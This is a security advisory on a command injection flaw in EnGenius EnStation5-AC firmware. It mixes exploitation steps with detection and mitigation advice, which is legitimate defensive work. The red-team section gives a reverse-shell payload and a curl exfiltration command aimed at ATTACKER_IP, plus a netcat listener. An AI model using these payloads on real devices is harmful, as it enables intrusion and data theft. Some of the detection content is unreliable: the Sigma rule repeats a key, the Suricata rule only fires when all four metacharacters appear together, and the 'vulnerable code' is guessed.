CVE-2024-36060

Executive Summary

CVE-2024-36060 is a critical blind OS command injection vulnerability affecting EnGenius EnStation5-AC (model A8J-ENS500AC) devices running firmware version 1.0.0. The flaw resides in the Ping and Speed Test parameters, which fail to sanitize user-supplied input, allowing an unauthenticated attacker to inject arbitrary shell commands via shell metacharacters. Successful exploitation leads to full remote code execution (RCE) on the device, enabling complete compromise of the access point. No official patch has been released by EnGenius as of this report, and the vulnerability is publicly known with proof-of-concept (PoC) code available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded networking device.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is trivially exploitable over the network without authentication, making it a high-priority threat for any organization using the affected device.

Deep Dive & Mechanics

The EnGenius EnStation5-AC device exposes a web management interface that includes diagnostic tools such as Ping and Speed Test. These tools accept user input (e.g., an IP address or hostname) and pass it directly to the underlying operating system shell without proper sanitization or escaping. An attacker can inject shell metacharacters such as ;, |, &, or backticks to execute arbitrary commands.

Example Injection:

127.0.0.1; id

This would execute the id command on the device after the ping operation.

The command injection is "blind" because the output of the injected command is not directly returned to the attacker in the HTTP response. However, the attacker can use out-of-band techniques (e.g., DNS exfiltration, reverse shell) to confirm execution and exfiltrate data.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 1.0.0): The web application likely uses a function similar to:

$ip = $_POST['ping_ip'];
$output = shell_exec("ping -c 4 " . $ip);

No input validation or escaping is applied.

Patched Code (Hypothetical): A secure implementation would sanitize the input:

$ip = escapeshellcmd($_POST['ping_ip']);
$output = shell_exec("ping -c 4 " . $ip);

Or use a dedicated library to validate IP addresses only.

Since no official patch exists, users must rely on workarounds.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target: EnGenius EnStation5-AC with firmware 1.0.0
• Network access to the device's web interface (default port 80/443)

Exploitation Steps:

1. Identify the target device using Shodan or network scanning.
2. Access the web interface and navigate to the Ping or Speed Test tool.
3. Inject a command using shell metacharacters. Example payload for a reverse shell:

   127.0.0.1; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
   

4. Start a netcat listener on the attacker machine:

   nc -lvnp 4444
   

5. Submit the payload. The device will execute the command and connect back.

Alternative Payload (Out-of-Band Data Exfiltration):

127.0.0.1; curl http://ATTACKER_IP/$(whoami)

Blue Team

Detection:

• Monitor web server logs for unusual characters in Ping/Speed Test parameters (e.g., ;, |, &).
• Look for outbound connections from the device to unknown IPs on unusual ports (e.g., 4444).
• Use network intrusion detection systems (NIDS) to detect shell metacharacters in HTTP requests.

Honeypot:

• Deploy a fake EnGenius device with the same vulnerability to capture attacker payloads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing shell metacharacters in the ping_ip or speedtest parameters.
  • Outbound connections from the device to attacker-controlled IPs on ports 4444, 53 (DNS exfiltration), or 80/443 (HTTP callback).
• File IOCs:
  • Unexpected files in /tmp/ or /var/ on the device.
  • Modified system binaries (e.g., /bin/ping replaced with a backdoor).
• Process IOCs:
  • Unusual processes running as root (e.g., bash, nc, curl).

Detection Engineering

YARA Rule

rule CVE_2024_36060_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2024-36060 in HTTP requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-36060"
    strings:
        $ping_param = "ping_ip=" nocase
        $speed_param = "speedtest=" nocase
        $shell_meta1 = ";" ascii
        $shell_meta2 = "|" ascii
        $shell_meta3 = "&" ascii
        $shell_meta4 = "`" ascii
    condition:
        ($ping_param or $speed_param) and
        any of ($shell_meta*)
}

Sigma Rule

title: CVE-2024-36060 Command Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with shell metacharacters in Ping/Speed Test parameters targeting EnGenius devices
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - 'ping_ip='
            - 'speedtest='
        c-uri|contains:
            - ';'
            - '|'
            - '&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in network diagnostics (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-36060 EnGenius Command Injection Attempt"; flow:to_server; content:"ping_ip="; nocase; content:";"; distance:0; content:"|"; distance:0; content:"&"; distance:0; content:"`"; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: If not required, disable the web interface on the device or restrict access to trusted IPs only via firewall rules.
2. Network Segmentation: Place the device on an isolated VLAN with no direct internet access.
3. Monitor Logs: Enable logging and monitor for suspicious activity.

Long-Term Fix:

• Contact EnGenius support for a firmware update. If no patch is available, consider replacing the device with a supported alternative.

Workaround:

• If the web interface must remain accessible, implement a reverse proxy (e.g., Nginx) with input validation rules to block shell metacharacters.

Valters IT
Securing Digital Frontiers